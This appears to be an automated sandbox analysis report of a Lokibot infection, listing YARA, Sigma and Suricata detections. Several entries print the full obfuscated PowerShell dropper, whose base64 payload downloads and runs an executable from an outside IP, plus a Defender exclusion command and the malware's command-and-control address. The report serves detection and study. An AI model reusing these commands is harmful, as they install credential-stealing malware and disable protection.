6.2.wininit.exe.36ef1e0.3.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 37 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6668, TargetFilename: C:\Users\user\AppData\Roaming\wininit.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", ParentImage: C:\Users\user\AppData\Roaming\wininit.exe, ParentProcessId: 4416, ParentProcessName: wininit.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe", ProcessId: 4364, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", CommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgI

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6668, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt, ProcessId: 7068, ProcessName: powershell.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\wininit.exe, NewProcessName: C:\Users\user\AppData\Roaming\wininit.exe, OriginalFileName: C:\Users\user\AppData\Roaming\wininit.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6668, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", ProcessId: 4416, ProcessName: wininit.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6668, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline", ProcessId: 3604, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6668, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6668, TargetFilename: C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", CommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgI

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7108, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6668, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline", ProcessId: 3604, ProcessName: csc.exe

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:05.601815+0100	2022050	1	A Network Trojan was detected	66.63.187.231	80	192.168.2.4	49730	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:05.742219+0100	2022051	1	A Network Trojan was detected	66.63.187.231	80	192.168.2.4	49730	TCP

ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:13.563784+0100	2024312	1	A Network Trojan was detected	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:14.904339+0100	2024312	1	A Network Trojan was detected	192.168.2.4	49735	94.156.177.41	80	TCP

ET MALWARE LokiBot Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:12.808002+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:13.757343+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49735	94.156.177.41	80	TCP
2024-11-20T10:57:15.026901+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:16.128443+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:17.172162+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:18.095135+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:19.188469+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:20.015773+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:21.098851+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:22.128961+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:23.051375+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.952106+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:24.855713+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:25.934109+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:26.983156+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:27.893409+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.4	49757	94.156.177.41	80	TCP
